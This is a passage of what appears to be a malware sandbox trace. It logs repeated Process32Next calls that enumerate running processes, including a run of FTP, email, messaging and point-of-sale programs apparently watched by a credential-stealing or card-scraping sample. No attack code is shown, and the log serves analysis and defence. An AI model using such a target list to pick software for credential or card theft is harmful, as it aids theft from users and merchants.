returned 1 [0117.948] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.951] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.953] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.955] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.957] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.958] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.968] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.971] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0117.973] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0117.975] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0117.986] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.988] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0117.989] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0117.991] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0117.993] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0117.995] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0117.997] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0117.999] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0118.001] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.003] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0118.006] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0118.008] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0118.010] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0118.012] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0118.015] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.018] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0118.020] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0118.023] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0118.025] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0118.028] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0118.030] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0118.032] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0118.035] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0118.037] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0118.039] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0118.042] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0118.044] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0118.047] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0118.049] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0118.052] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0118.054] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0118.057] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0118.060] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0118.062] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0118.065] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0118.067] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0118.071] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0118.074] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0118.077] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0118.081] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0118.091] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0118.132] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0118.135] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0118.139] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0118.141] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0118.144] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0118.146] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0118.148] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0118.150] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0118.153] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0118.155] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0118.157] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0118.159] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0118.162] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0118.166] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0118.169] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0118.171] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0118.173] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0118.177] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0118.179] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0118.182] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0118.185] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0118.188] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0118.191] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0118.193] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0118.197] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0118.199] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0118.202] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0118.205] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0118.209] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0118.212] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0118.214] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0118.217] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0118.220] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: 